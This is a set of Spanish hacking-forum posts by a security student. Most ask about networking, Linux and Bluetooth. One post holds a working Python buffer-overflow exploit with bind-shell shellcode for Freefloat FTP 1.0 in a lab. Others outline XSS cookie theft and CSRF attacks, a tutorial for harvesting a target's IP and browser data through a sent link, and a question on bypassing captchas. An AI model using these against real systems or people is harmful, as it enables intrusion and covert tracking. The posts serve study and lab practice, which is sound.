Muy buenas! Estaba leyendo un artículo sobre como hacer un password cracker con 8 GPU's:

https://www.shellntel.com/blog/2017/2/8/how-to-build-a-8-gpu-password-cracker

y me puse a pensar que si llegara a crear uno de esos y quisiera conectarme a el remotamente, por ejemplo, a través de mi notebook desde cualquier lugar, y dejara por ejemplo un servidor ssh en el password cracker, pense en una regla de iptables para implemetnar sobre el password cracker que me pareció bastante segura, y me gustaría saber que piensan ustedes:

Código (bash) [Seleccionar]

#Bloqueamos todo el tráfico entrante al puerto donde se encuentra el servidor SSH
iptables -A INPUT -p tcp --dport 38787 -j DROP
#Solo aceptamos el tráfico entrante al servidor SSH desde una mac que nosotros asignemos
iptables -A INPUT -p tcp --dport 38787 -m mac --mac-source 01:23:45:67:89:01 -j ACCEPT


Luego desde nuestra notebook o desde donde nos queremos conectar al password cracker, utilizamos:

Código (bash) [Seleccionar]

#Cambiamos nuestra mac por la que asignamos en el firewall del password cracker
macchanger -m 01:23:45:67:89:01
#Nos conectamos con determinado usuario a la IP del password cracking especificando otro puerto distinto al 22.
ssh usuario@ippasswordcracking -p 38787


Entonces en conclusión yo veo muchas capas de seguridad, ya que para poder lograr una conexión al servidor SSH necesitaríamos varias cosas, entre ellas:
-Conocer la contraseña del usuario SSH.
-Conocer el nombre del usuario SSH (el user podría considerarse un segundo pass)
-Conocer la MAC desde la cual se puede conectar al servidor SSH (tercer pass)
-Conocer la IP del password cracker.
-Saber que el puerto donde se encuentra el servidor SSH es distinto al 22, ésto a través de nmap y un escaneo completo de puertos es sencillo darse cuenta si hay un servidor SSH abierto en algúno de los 65k de puertos existentes, pero de todas formas puede ser una pequeña medida extra de seguridad.

Me gustaría que me criticaran, o que añadieran reglas o modificaran las que utilicé. Obviamente lo único que muestro son las reglas para el trafico de entrada hacia el puerto con ssh, faltaría especificar una política restrictiva por defecto, y proteger a cada uno de los servicios, y no olvidar las reglas para el trafico de salida.

Saludos y gracias!

#25
Seguridad / Atacando a través de un enlace
27 Junio 2017, 02:28 AM
Muy buenas! En éste thread quería enumerar las distintas posibilidades que conozco para atacar a través del envío de un enlace. Me gustaría que me corrigieran si me equivoco en algo de lo que digo, y sobre todo me gustaría que agregaran otros posibles vectores de ataque que ustedes conozcan. Aca van:

Ataque 1: Phishing
-Condición:
La víctima se cree todo lo que le dicen.
-Ataque:
Pedir el ingreso de datos sensibles (que llegarían al atacante) para ofrecer algo a cambio.
-Resultado:
Acceso a cuentas de la víctima (si ingreso usuario y contraseña), tarjetas de crédito, etc.

Ataque 2: Explotación de vulnerabilidades de navegador y sus plugins
-Condición:
La víctima tiene plugins del navegador desactualizados (puede ser java, flash, etc), o el navegador en si es vulnerable.
-Ataque:
El atacante crea un archivo malicioso de algún formato que pueda ser abierto por el plugin desactualizado. El atacante abre un servidor malicioso y envía a la víctima el enlace para que al abrirlo con su navegador, su plugin abra el archivo, y se pueda inyectar comandos, desbordar el buffer para sobreescribir eip y que apunte a nuestro código, u otros posibles ataques aprovechando vulnerabilidades del navegador web en si como los del tipo UAF. El ataque puede ser a un plugin o puede ser a varios de ellos, y a vulnerabilidades del navegador, probando una serie de posibles ataques (browser_autopwn por ejemplo)
-Resultado:
Control sobre la computadora de la víctima (con o si privilegios de admin (dependiendo de los permisos del usuario que ejecuta al navegador), y siendo facil o dificil el escalado de privilegios según como tenga configurado UAC, qué cuenta esté usando, etc. (ésto en caso de Win, en linux la cosa sería distinta).

Ataque 3: Explotación del navegador a través de una web de confianza con XSS
-Condición:
Sitio web de confianza con vulnerabilidad XSS en parámetro enviado por GET
-Ataque:
Se envía a la víctima un link de una página en la que la víctima confíe (por ejemplo youtube.com, aunque se tendría que dar el caso de que youtube.com sufirera una vulnerabilidad XSS y es prácticamente imposible, asi que éste caso es solo hipotético). El link que mandamos tiene encodeado un código de JS que redirecciona a la víctima a nuestro servidor malicioso, y una vez redireccionado a nuestro server, se intenta hacer el mismo ataque que el anterior (Ataque 2), con la diferencia de que la víctima piensa que está entrando a una página de confianza.
-Resultado:
Idem Ataque 2.

Ataque 4: Robo de sesión (Session hijacking)
-Condición:
Víctima tiene una cuenta sobre una página con vulnerabilidad XSS
-Ataque:
Se inyecta código JS para hacer que se envíen las cookies de la víctima a nuestro servidor y sean guardadas en un archivo. Para ello se envía un link de la web vulnerable con el código JS encodeado (en caso de que el parámetro sobre el que se pueda inyectar se envíe a través de GET), o sino un link de un servidor nuestro en el cuál tengamos una página que a través de un IFRAME inyecte el JS y lo envíe a través de POST a la web vulnerable (en caso de que el parámetro sobre el que se pueda inyectar se envíe a través de POST).
-Resultado:
Acceso a la cuenta de la víctima a través de las cookies de sesión hasta que la misma cierre la sesión.

Ataque 5: Creación/modificación de datos de una cuenta sobre web con CSRF
-Condición:
Víctima es administrador o tiene una cuenta sobre una página con vulenrabilidad CSRF
-Ataque:
Se envía una URL especial (en caso de ataque por GET), para aprovechar la sesión de la víctima (su cookie), y que la víctima al acceder al link, modifique su contraseña de usuario por una que el atacante conozca por ejemplo. Si fuera ataque por POST lo mejor es enviar una URL a un servidor controlado por nosotros, y a través de un IFRAME incluir la parte del POST que sería enviada a la página de la víctima (o a la página donde la víctima tiene una cuenta), para poder hacer el ataque satisfactoriametne. Si la victima fuera admin, podríamos hacer un ataque para agregar otro admin con credenciales que nosotros sepamos por ejemplo.
-Resultado:
Acceso a la cuenta de la víctima, no importa si cierra sesión ya que contamos con la contraseña de acceso. Acceso como administrador a una página (si atacamos a un admin).


Bueno, éstas son todas las técnicas que yo conozco para poder explotar vulnerabilidades (de usuarios y sistemas) a través del envío y apertura por parte de la víctima de un simple enlace... Me gustaría aprender que otros tipos de ataque existen enviando un enlace, o qué otra clase de cosas me puede pasar por abrir un link malicioso. Saludos y gracias! :D
#26
GNU/Linux / Error al compilar un módulo
6 Junio 2017, 23:03 PM
Muy buenas! Estaba haciendo mi tarea de sistemas operativos, siguiendo los pasos que se me indican pero tengo problemas al ejecutar el comando Make. Aclaro que mi objetivo NO es que me hagan la tarea. PARA NADA. Quiero que me ayuden a entender que estoy haciendo mal. Éste trabajo no es para entregar, es para poder aprender... Aca les dejo la consigna:

El objetivo de este ejercicio es crear un módulo sencillo y poder cargarlo en nuestro kernel con
el fin de consultar que el mismo se haya registrado correctamente

1°) Crear el archivo memory.c con el siguiente código

#include <linux/module.h>
MODULE_LICENSE("Dual BSD/GPL");


2°) Crear el archivo Makefile con el siguiente contenido

obj-m := memory.o

3°) Ahora es necesario compilar nuestro modulo usando el mismo kernel en que correrá el mismo, utilizaremos el que instalamos en el primer paso del ejercicio guiado.

make -C <KERNEL_CODE> M='pwd' modules

Bueno, les comento, el archivo memory.c y el Makefile los tengo en el directorio /root, y el kernel que estuve usando para la practica está en /usr/src/linux-4.10... El comando lo lanzé desde el directorio root, y fue el siguiente:

make -C /usr/src/linux-4.10 M='/root' module

Y el error que tuve fue:

make: se entra en el directorio '/usr/src/linux-4.10'

 WARNING: Symbol version dump ./Module.symvers
          is missing; modules will have no dependencies and modversions.

 CC [M]  /root/memory.o
/bin/sh: 1: ./scripts/recordmcount: not found
scripts/Makefile.build:300: fallo en las instrucciones para el objetivo '/root/memory.o'
make[1]: *** [/root/memory.o] Error 127
Makefile:1490: fallo en las instrucciones para el objetivo '_module_/root'
make: *** [_module_/root] Error 2
make: se sale del directorio '/usr/src/linux-4.10'


Se me generó el archivo memory.o, pero creo que se me tendría que generar tambien un memory.ko... Me gustaría que me comentaran que estoy haciendo mal y como poder compilar correctamente el módulo.

Desde ya muchas gracias! :D
#27
Seguridad / Sobre IPSec y seguridad en IPv6
3 Junio 2017, 12:30 PM
Buenas, estaba leyendo sobre IPSec y me di cuenta qué es el protocolo estándar de facto en las VPN. Entonces si IPv6 incorpora nativamente IPSec, el protocolo IPv6 se comportaría como una VPN? Es decir, el tráfico se cifraría a nivel IP, al igual que en las VPN, por eso me viene la duda, y la otra duda que me surge es si entre IPv6 serían posibles los ataques MITM como los conocemos?
#28
Muy buenas, aquí en éste foro encontré mucha información y mucha gente que supo alclarar muchas de mis dudas, pero me gustaría poder chatear, y conocer mejor a gente que tenga los mismos intereses que yo. Soy estudiante de licenciatura en sistemas, y en mi facultad mis grupos de amigos y toda la gente en general tiene más bien un perfil de desarrollador, PHP, python, etc, cosa que me parece genial. Pero a mi lo que más me llama la atención es la seguridad informática en todas sus variantes, aprender sobre vulnerabilidades, tanto de páginas webs, como de otros servicios remotos, saber de protocolos de redes, interioridades de los sistemas operativos, assembler, comunicaciones inalmámbricas, etc, etc... En mi grupo de amigos cuando les digo que en un futuro me gustaría trabajar como pentester, o hacer algo relativo con la seguridad informática me toman como agrandado, como que estoy apuntando a algo más alto que ellos, o me desestiman, me tratan de tirar para abajo... Yo a lo largo de un par de años fui aprendiendo bastantes cosas, obviamente que siempre es re poco, pero pase de no saber nada a tener un buen pantallazo de todo... Asi que me gustaría poder relacionarme con gente autodidacta, que se interese por lo relativo a la seguridad, a como funcionan las cosas y demás... Sea tanto x wsp, telegram, o incluso personalmente, que sería lo mejor... Vivo en Buenos Aires Argentina, no estaría mal juntarnos a tomar unos mates con gente que viva cerca mio... Saludos a todos! Exitos
#29
Redes / Lo que realmente es un router
24 Mayo 2017, 10:39 AM
Muy buenas. Luego de cursar redes en mi facultad llegue a la conclusión de que a lo que todos llamamos router en realidad cumple las funciones de router, switch y access point todo en uno. Por ejemplo un router TP-LINK... Sería un router con dos interfaces, una para LAN y otra para WAN. WAN solo tiene un puerto RJ-45, y LAN puede tener varios. Esos puertos de la interfaz LAN, según mi razonamiento funcionarian como distintos puertos de un switch, y finalmente, también uno se puede conectar a través de wifi por eso cumple las funcion de access point. Me gustaría que me corrijan, o que me digan si estoy en lo cierto, xq en ningún lado encontré ésto explicitamente. La gente lo llama router, pero para mi como les digo, son 3 dispositivos distintos en uno solo. Saludos y gracias por sus opiniones! :D
#30
Muy buenas a todos! Tenía ésta duda. Quiero instalar el F@H que es un programa de computación distribuida de la facultad de medicina de Standford que utiliza los recursos (cpu/gpu) de muchas computadoras del mundo formando una supercomputadora distribuida. El potencial de procesamiento se utiliza para mostrar el comportamiento de las proteinas y de ésta forma, analizando ésto, los investigadores/cientificos de Stanford pueden encontrar la cura a enfermedades como el cancer, o el parkinson por ejemplo.

El programa viene para macOS, WinX, Linux, Android... En mi caso quiero instalarlo en un Linux pero en el que no tengo privilegios de root. Lo que llego a deducir es que al instalarlo con dpkg los archivos del programa se copian en distintos directorios como /usr/share por ejemplo, directorios que por defecto no tienen permiso de escritura para cualquier usuario... Quería saber si existe alguna forma de instalarlo sin ser root, tal vez moviendo todo el contenido del programa a /tmp, carpeta que si tiene permiso de escritura para cualquiera, y que de alguna forma, el programa busque ahí sus archivos/librerias, etc...

Aca les dejo un link con el programa que les mencioné:

http://folding.stanford.edu/

Saludos y gracias! :D
#31
Muy buenas a todos! Estaba leyendo el manual de seguridad en bluetooth de 170 páginas (del 2005) que encontré aquí en elhacker.net, llegué más o menos a la página 110, la verdad está excelente y aprendi un montón, pero siempre me pasa lo mismo, que cuando quiero volcar la teoría en la práctica me encuentro con 985329589234523485923485 problemas inesperados. Antes de empezar a leer, probé intercambiar archivos entre un LG viejo (con tapita, no tactil, no wifi, no smartphone), y mi Alcatel One Touch Pop S3, y pude comunicarlos excitosamente por bluetooth. Ahora desde Kali pude emparejar a los dispositivos (Notebook con Kali 2.0 y el Alcatel One Touch Pop S3), pero cuando quiero hacer una transferencia de archivos por ejemplo, tanto del celular a la pc como de la pc al celular, no estoy pudiendo. Desde el celular a la pc me salta un cartel que dice conexion erronea, o algo parecido. Desde la pc al celular probé a través de la interfaz gráfica y no pude, probé a través del obexftp y obtengo el siguiente resultado:


root@skali:~# obexftp -v -b B0:E0:3C:XX:XX:XX -B 20 -p /root/imagen.png
Connecting..\done
Sending "/root/imagen.png"...|failed: /root/imagen.png
The operation failed with return code 80
Disconnecting../done


Busqué en google: "The operation failed with return code 80" y no encontré ni un solo resultado... Sin las comillas encuentro problemas con distintos códigos de errores, pero ninguno con 80. También probé usar Wifislax en lugar de Kali y me pasó exactamente lo mismo. No pude probar con otro celular porque no tengo a mi alcance. De todos modos la primera vez hace mucho que probé transferir archivos desde el LG a mi Alcatel, lo pude hacer, asi que por eso me imagino q el problema tiene más que ver con la PC que con el celular.

Tuve dos problemas más, pero que tengo una idea de lo que puede llegar a ser, y me gustaría que me indicaran si estoy acertado o me estoy equivocando, porque quedarme con la duda es algo que me hace muuuuuy mal jajaja.

El segundo problema con el que me encontré, fue en BlueLine, al agregar los caracteres especiales de salto de linea, el celular me los representa como espacios, y no puedo llegar a alterar todo el mensaje como se veía en el pdf que les cuento... Supongo que ésto servía para ciertas versiones viejas de móviles. Corrijanme si me equivoco...

El tercer problema fue cuando quise ejecutar comandos AT sobre una sesion rfcomm:


root@skali:~# rfcomm connect 0 B0:E0:3C:XX:XX:XX 2
Connected /dev/rfcomm0 to B0:E0:3C:XX:XX:XX on channel 2
Press CTRL-C for hangup

root@skali:~# cu -l rfcomm0 -s 9600
cu: open (/dev/rfcomm0): Permission denied
cu: rfcomm0: Line in use


Éste problema ya lo tuvieron y lo contestaron en éste mismo foro aquí en éste enlace:
https://foro.elhacker.net/hacking_mobile/problemas_con_bluetooth-t93112.0.html

En mi caso, el problema supongo que tiene que ver con:

CitarTambién debes estar seguro de q el canal al q te quieres conectar con rfcomm es el asociado al perfil q buscas: puerto serie o dial up network...

Estoy usando una comunicacion en el canal 2 que no es ni de puerto serie ni de dial up network, ya que esos servicios no estaban disponibles en mi movil. Aqui les muestro los que si:

Service RecHandle: 0x10000
Service Class ID List:
 "Generic Attribute" (0x1801)
Protocol Descriptor List:
 "L2CAP" (0x0100)
   PSM: 31
 "ATT" (0x0007)
   uint16: 0x0001
   uint16: 0x0005

Service RecHandle: 0x10001
Service Class ID List:
 "Generic Access" (0x1800)
Protocol Descriptor List:
 "L2CAP" (0x0100)
   PSM: 31
 "ATT" (0x0007)
   uint16: 0x0014
   uint16: 0x001e

Service Name: Headset Gateway
Service RecHandle: 0x10002
Service Class ID List:
 "Headset Audio Gateway" (0x1112)
 "Generic Audio" (0x1203)
Protocol Descriptor List:
 "L2CAP" (0x0100)
 "RFCOMM" (0x0003)
   Channel: 2
Profile Descriptor List:
 "Headset" (0x1108)
   Version: 0x0102

Service Name: Handsfree Gateway
Service RecHandle: 0x10003
Service Class ID List:
 "Handsfree Audio Gateway" (0x111f)
 "Generic Audio" (0x1203)
Protocol Descriptor List:
 "L2CAP" (0x0100)
 "RFCOMM" (0x0003)
   Channel: 3
Profile Descriptor List:
 "Handsfree" (0x111e)
   Version: 0x0106

Service Name: AV Remote Control Target
Service RecHandle: 0x10004
Service Class ID List:
 "AV Remote Target" (0x110c)
Protocol Descriptor List:
 "L2CAP" (0x0100)
   PSM: 23
 "AVCTP" (0x0017)
   uint16: 0x0102
Profile Descriptor List:
 "AV Remote" (0x110e)
   Version: 0x0103

Service Name: Advanced Audio
Service RecHandle: 0x10005
Service Class ID List:
 "Audio Source" (0x110a)
Protocol Descriptor List:
 "L2CAP" (0x0100)
   PSM: 25
 "AVDTP" (0x0019)
   uint16: 0x0102
Profile Descriptor List:
 "Advanced Audio" (0x110d)
   Version: 0x0102

Service Name: Android Network Access Point
Service Description: NAP
Service RecHandle: 0x10006
Service Class ID List:
 "Network Access Point" (0x1116)
Protocol Descriptor List:
 "L2CAP" (0x0100)
   PSM: 15
 "BNEP" (0x000f)
   Version: 0x0100
   SEQ8: 0 6
Language Base Attr List:
 code_ISO639: 0x656e
 encoding:    0x6a
 base_offset: 0x100
Profile Descriptor List:
 "Network Access Point" (0x1116)
   Version: 0x0100

Service Name: OBEX Phonebook Access Server
Service RecHandle: 0x10008
Service Class ID List:
 "Phonebook Access - PSE" (0x112f)
Protocol Descriptor List:
 "L2CAP" (0x0100)
 "RFCOMM" (0x0003)
   Channel: 19
 "OBEX" (0x0008)
Profile Descriptor List:
 "Phonebook Access" (0x1130)
   Version: 0x0101

Service Name: OBEX Object Push
Service RecHandle: 0x10009
Service Class ID List:
 "OBEX Object Push" (0x1105)
Protocol Descriptor List:
 "L2CAP" (0x0100)
 "RFCOMM" (0x0003)
   Channel: 12
 "OBEX" (0x0008)
Profile Descriptor List:
 "OBEX Object Push" (0x1105)
   Version: 0x0100

Service Name: SMS/MMS Message Access
Service RecHandle: 0x1000a
Service Class ID List:
 "Message Access - MAS" (0x1132)
Protocol Descriptor List:
 "L2CAP" (0x0100)
 "RFCOMM" (0x0003)
   Channel: 16
 "OBEX" (0x0008)
Profile Descriptor List:
 "Message Access" (0x1134)
   Version: 0x0100

Service Name: Email Message Access
Service RecHandle: 0x1000b
Service Class ID List:
 "Message Access - MAS" (0x1132)
Protocol Descriptor List:
 "L2CAP" (0x0100)
 "RFCOMM" (0x0003)
   Channel: 17
 "OBEX" (0x0008)
Profile Descriptor List:
 "Message Access" (0x1134)
   Version: 0x0100

Service Name: SIM Access Server
Service RecHandle: 0x1000d
Service Class ID List:
 "SIM Access" (0x112d)
 "Generic Telephony" (0x1204)
Protocol Descriptor List:
 "L2CAP" (0x0100)
 "RFCOMM" (0x0003)
   Channel: 15
Profile Descriptor List:
 "SIM Access" (0x112d)
   Version: 0x0101

Service Name: OBEX File Transfer
Service RecHandle: 0x1000e
Service Class ID List:
 "OBEX File Transfer" (0x1106)
Protocol Descriptor List:
 "L2CAP" (0x0100)
 "RFCOMM" (0x0003)
   Channel: 20
 "OBEX" (0x0008)
Profile Descriptor List:
 "OBEX File Transfer" (0x1106)
   Version: 0x0101


Probé con sesiones rfcomm en varios canales pero siempre con el mismo error, supongo que ya mi dispositivo de por si al no tener servicio de puerto serie ni dial up, no tengo ninguna otra forma para utilizar una sesion rfcomm para ejecutar comandos AT. Corrijanme si me equivoco...

Otro dato es que el archivo de configuración /etc/buetooth/hci.conf que menciona el pdf, yo no lo tengo, pero tengo otros cuatro: input.conf  main.conf  network.conf  proximity.conf

Bueno! Espero que me ayuden a resolver el primer problema que es el que más me preocupa! Y en cuanto los otros dos problemas solo quiero saber si estoy acertado en mi pensamiento o estoy equivocado. Saludos y gracias desde ya!
#32
Buenas! No miré mucho de batman, recuerdo haber visto batman inicia hace varios años pero no recuerdo casi nada de la película en sí. He visto que la imagen del guason es muy utilizada por integrantes de ésta comunidad, y me mató la curiosidad el hecho de saber si tiene alguna ralación con el mundo del hacking, o de la informática en general, alguna relación en ideologías o si tiene más que ver con el actor. Saludos!
#33
Muy buenas! Les comento mi inconveniente. Estaba tratando de explotar el servidor FTP Freefloat 1.0, el cuál tiene un fallo de stack overflow. Estoy usando VM con Windows Profesional SP2 Version 2002, ESP (ip 192.168.0.107), y otra VM con Kali 2.0 (ip 192.168.0.106). Probando con el fuzzer de ftp de metasploit, logré crasharlo mandando una cadena muy larga junto con el comando USER. Luego con el pattern_create.rb y pattern_offset.rb determiné que hay 230 bytes hasta sobreescribir EIP. Escribí un exploit y logré escribir 42424242 en EIP. Como pueden ver en la siguiente imagen:



Luego, creé varias shellcodes con msfvenom. Primero probé meterpreter/reverse_tcp, ahora estoy probando con shell/bind_tcp, pero no estoy consiguiendo la shell...  Después de ejecutar el exploit, el Immunity muestra lo siguiente:



Estoy utilizando la técnica de sobreescribir EIP por la dirección de USER.dll que apunta a JMP ESP. Y me parece que hasta aquí funciona, es decir, EIP logra llegar al stack, como ven en la imagen anterior... Por si las moscas, aca les muestro la dirección de JMP ESP:



Y mi código final del exploit:

Código (python) [Seleccionar]

#!/usr/bin/python
import socket

target = "192.168.0.107"
junk = "\x41" * 230
eip = "\x0a\xaf\xd5\x77"
nops = "\x90" * 30
#msfvenom -a \x86 --platform windows -p "windows/shell/bind_tcp" LHOST=192.168.0.107 LPORT=4444 -b '\x00' -f python
#Payload size: 326 bytes
#Final size of python file: 1574 bytes
payload =  ""
payload += "\xdb\xd5\xba\xf1\x47\xde\x08\xd9\x74\x24\xf4\x58\x2b"
payload += "\xc9\xb1\x4b\x31\x50\x1a\x83\xc0\x04\x03\x50\x16\xe2"
payload += "\x04\xbb\x36\x8a\xe6\x44\xc7\xeb\x6f\xa1\xf6\x2b\x0b"
payload += "\xa1\xa9\x9b\x58\xe7\x45\x57\x0c\x1c\xdd\x15\x98\x13"
payload += "\x56\x93\xfe\x1a\x67\x88\xc2\x3d\xeb\xd3\x16\x9e\xd2"
payload += "\x1b\x6b\xdf\x13\x41\x81\x8d\xcc\x0d\x37\x22\x78\x5b"
payload += "\x8b\xc9\x32\x4d\x8b\x2e\x82\x6c\xba\xe0\x98\x36\x1c"
payload += "\x02\x4c\x43\x15\x1c\x91\x6e\xec\x97\x61\x04\xef\x71"
payload += "\xb8\xe5\x43\xbc\x74\x14\x9a\xf8\xb3\xc7\xe9\xf0\xc7"
payload += "\x7a\xe9\xc6\xba\xa0\x7c\xdd\x1d\x22\x26\x39\x9f\xe7"
payload += "\xb0\xca\x93\x4c\xb7\x95\xb7\x53\x14\xae\xcc\xd8\x9b"
payload += "\x61\x45\x9a\xbf\xa5\x0d\x78\xde\xfc\xeb\x2f\xdf\x1f"
payload += "\x54\x8f\x45\x6b\x79\xc4\xf4\x36\x16\x29\x34\xc9\xe6"
payload += "\x25\x4f\xba\xd4\xea\xfb\x54\x55\x62\x25\xa2\x9a\x59"
payload += "\x91\x3c\x65\x62\xe1\x15\xa2\x36\xb1\x0d\x03\x37\x5a"
payload += "\xce\xac\xe2\xf6\xc5\x0b\x5d\xe4\x27\xc1\x5c\x82\xd5"
payload += "\x7e\xb5\x5d\x05\x9e\xb6\xb4\x2e\x37\x4b\x36\x40\x94"
payload += "\xc2\xd0\x08\x34\x83\x4b\xa5\xf6\xf0\x44\x52\x08\xd3"
payload += "\x2f\x5c\x83\x84\x78\x35\xdb\xdc\xbe\x3a\xdc\xca\xe9"
payload += "\xac\x57\x19\x2e\xcc\x67\x34\x07\x99\xf0\xc2\xc9\xe8"
payload += "\x61\xd2\xc0\x99\x61\x46\xee\x0b\x35\xfe\xec\x6a\x71"
payload += "\xa1\x0f\x59\x01\xa6\xef\x1c\x2b\xdc\xd9\x8a\x73\x8a"
payload += "\x25\x5b\x74\x4a\x73\x31\x74\x22\x23\x61\x27\x57\x2c"
payload += "\xbc\x5b\xc4\xb8\x3f\x0a\xb8\x6b\x28\xb0\xe7\x5b\xf7"
payload += "\x4b\xc2\xd8\xf0\xb4\x93\xd9\x01\x76\x42\x23\x74\x91"
payload += "\x56"


s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((target,21))
print "\n\n[-] Sending exploit ..."
print s.recv(2000)
s.send("USER "+junk+eip+nops+payload+"\r\n")
s.close()


Probé también cambiando la cantidad de NOPS. Nunca termine de entender muy bien para que sirven esos NOPS que están después de la dirección de retorno... Supongo que para hacer espacio hasta llegar a ESP, pero no entiendo bien que cantidad usar... Si me pueden aclarar ésta duda les agradecería...

Más allá de esa dudita, no creo que sea problema de NOPS, se me ocurre que hay algúna medida de mitigación que está activada y no me doy cuenta. Si necesitan algo más para ayudarme con ésto para que pueda comprender bien como explotar correctamente el bug, estaría agradecidicimo!!! Saludos y gracias desde ya.

MOD: Imagenes adaptadas a lo permitido.
#34
Muy buenas a todos, quería comentarles de un problema que tengo con mi remoto. Estan funcionando todos los botones menos el power.

Aca una imágen del mismo:



Como ven se levantó la pintura conductora del power (fijense arriba a la izquierda). Mi viejo había probado pasarle alcohol isopropílico pero en el intento se estaban por dañar las pistas.

Quería saber si hay alguna forma para resolver éste problema. Aclaro que no poseo muchos conocimientos en electrónica, asi que si me equivoco en algo me corrigen, y espero que me sepan ayudar.

Saludos y gracias!

MOD: Imagen adaptada a lo dictado por las reglas del foro (800x600 máx.)
#35
Que tal? Hoy pensando un poco sobre ésto, se me planteo la duda de cómo a través de una IP se puede llegar a determinar que persona fue la responsable de un determinado ataque, ya sea algún escaneo de puertos, o alguna inyección SQL que quede almacenada en un log... Se que la víctima puede pedir al ISP el nombre del asociado de determinada IP a tal hora, pero mi pregunta es... Como pueden determinar que el que realizó el ataque es el mismo asociado de la IP y no otro hacker que utilizó la PC del asociado de la IP???

Para que se entienda mi duda....
Yo soy Marcos, y el señor Josesito a través de un troyano logró entrar a través de internet a mi PC...

Josesito a través de mi PC tiene la idea de hacer una inyección SQL a determinada web... El admin revisa el log de Apache y se encuentra con mi IP y con la cadena maliciosa, entonces llama a mi ISP y el ISP le deja mi nombre...

Entonces yo tendría que pagar el precio de la actividad ilicita? O a través de alguna técnica se puede ubicar a Josesito?

Saludos y gracias por aclarar mis dudas
#36
Muy buenas a todos, algo que nunca me quedó muy claro es por qué dicen que hay algoritmos de hash más dificiles de crackear que otros, si el método para crackear los hashes es el mismo (usando fuerza bruta o diccionario y comparando con el hash)? Lo que me resultaría lógico es que el procesador tarde más tiempo en cifrar una clave con un algoritmo que con otro, entonces cifrar un millon de claves con sha tardaría mas tiempo que cifrar un millon de claves en md5, x ejemplo, pero no estoy seguro de estar en lo cierto....

Y la otra duda, es si hay mucha diferencia entre el tiempo de crackeo de hashes y el tiempo de crackeo online que se realiza con el hydra...

Saludos y gracias desde ya por ayudarme a entender!
#37
Que tal gente, quería hacer un pequeño script en python, ya tengo todo en la mente. Básicamente uso una libreria para navegar x la web, leo del teclado un uri para luego enviar la consulta con un inurl:uri en el parametro q, de consulta de google. Despues parseo la respuesta para quedarme solo con los nombres de los dominios, los filtro para sacar el www. y lo que esta a partir del uri, para poder hacer un ping, con cada uno de los dominios fitlrados, parsear los resultados del ping para quesarte con la ip, y despues guardar en un archivo linea por línea todas las ips...

Los problemas que me surgieron son los siguientes:
1) No se que parámetro se usa para manejar el numero de pagina de google, porque se supone que se tiene que ir recorriendo todas las paginas hasta que ya no haya mas resultados.
2) Seguramente despues de navegar por un par de paginas me pida un captcha, tienen idea como bypassearlo?

Gracias por la ayuda, si me dan una mano con ésto, despues subo el script terminado!

Saludos
#38
Hola, básicamente quería saber si alguno de ustedes vive en mi ciudad para juntarnos y compartir lo que estamos aprendiendo. Porque participar en el foro está genial pero poder compartir las cosas personalmente estaría mejor todavía... No tengo auto ni nada como para moverme, sino estaría bueno hacer algún encuentro en capital ya que seguramente la mayoría de miembros argentinos de la comunidad viva en capital... Hace unos meses se hizo la EKO party, no pude ir por motivos económicos pero de todas formas estaría bueno hacer algo no tan grande, como una juntada en la casa de alguno de nosotros...

Bueno, espero que haya por lo menos algun platense! jajaja Saludos!
#39
Hola que tal muy buenas a todos! Éste va a ser mi primer aporte ya que el resto de los posts eran solo para sacarme dudas yo... Ya me ayudaron bastante asi que merecen algún aporte por más pequeño que sea de mi parte jaja...

ACLARACIÓN: esta información como cualquier otra que encontremos en ésta web puede ser utilizada tanto para bien como para mal. Mi intención es mostrarles los métodos que suelen usar los hackers para rastrear información. Experimenten con sus propios dispositivos...

Bueno empecemos! La idea básica es entender uno de los métodos de rastreo de IP, puertos, versiones de navegador, geolocalización, pluggins instalados, etc,etc más usados y efectivos. Básicamente con enviar un enlace (que va a corresponderse a nuestro propio servidor web) ya estamos recibiendo toda la información de la persona a atacar. Una vez que la otra persona acceda a nuestro enlace, a nosotros automáticamente se nos abrira el navegador mostrando un archivo .htm con el siguiente contenido:



Piensen en las miles de utilidades que nos puede dar el hecho de tener nuestro propio servidor web... Cada vez que alguien se conectaría a nosotros, siempre se almacena información del cliente en distintas variables, una de ellas es $_SERVER , un array que almacena version del navegador, sistema operativo del cliente, etc, etc... Éstos datos pueden ser útiles para tomar determinadas desiciones en la web, es decir, el programador que implemento la web podría utilizar algún campo de la variable $_SERVER para tomar una decisión u otra sobre lo que se va a mostrar en nuestro cliente. En nuestro caso solo usaríamos esa información para nuestro beneficio, una vez obtenida la ip, podemos hacer un escaneo con nmap, o muchas otras cosas...

Bueno, basta con la introducción, arranquemos con los pasos a seguir!

1 - En mi caso prefiero correr el servidor en Apache, sobre Kali Linux. Tipeamos
netstat -l -p

Netstat nos muestra información sobre las distintas conexiones que tenemos (el estado de los sockets), con la opción -l listamos todos los puertos en escucha y con la opción -p mostramos los PID (process ID) asociados con los sockets. Buscamos al principio si tenemos debajo de la columna Local Adress:  
[::]:http
Y si encontramos algo, utilizamos el comando:
kill PID
siendo PID el Process ID de la misma fila en la que encontramos [::]:http

Ésto quiere decir que tenemos ocupado nuestro puerto 80... A mi lo que me pasaba es que Kali arrancaba con el daemon del servidor nginx, y prefiero usar Apache, por ello todas éstas vueltas, si ustedes prefieren usar nginx, siéntanse libres de usarlo... El kill es para matar el proceso que estaba utilizando ese puerto para poder liberarlo...

2 - Vamos a crearnos una cuenta en NO-IP:

http://www.noip.com/

Ésto sirve para asociar nuestra ip con un nombre de dominio, para que la persona atacada acceda a través de un enlace como www.enlace.ddns.net y no directamente por nuestra dirección IP. Sería el servidor DNS el que terminaría devolviendo nuestra IP...

Okey, una vez que crearon la cuenta van a la sección que dice AddHost y agregan un dominio que a ustedes les guste y lo asocian a su IP pública extraída de éste sitio:

www.cualesmiip.com

3 - Vamos a configurar el router. Accedemos a nuestro router tipeando la dirección de la puerta de enlace predeterminada sobre nuestro navegador. Puede ser 192.168.0.1, 192.168.1.1, ustedes ya lo sabrán... Accedemos con las credenciales necesarias, si nunca le cambiaron el nombre/password, usen los que vienen por defecto que suelen ser ADMIN ADMIN... Una vez adentro vamos a la sección para abrir puertos, ésto ya depende de que marca de router esten utilizando. Ésta sección puede estar en la sección Forwarding, Virtual Servers, si tienen un TP-LINK o sino traten de encontrarla ustedes. Lo que hacemos es básicamente asociar lo que llega al puerto 80 a la IP local de la PC en la que tengamos corriendo el Apache, para obtenerla como sabrán se puede con ipconfig (windows) o ifconfig (linux)....

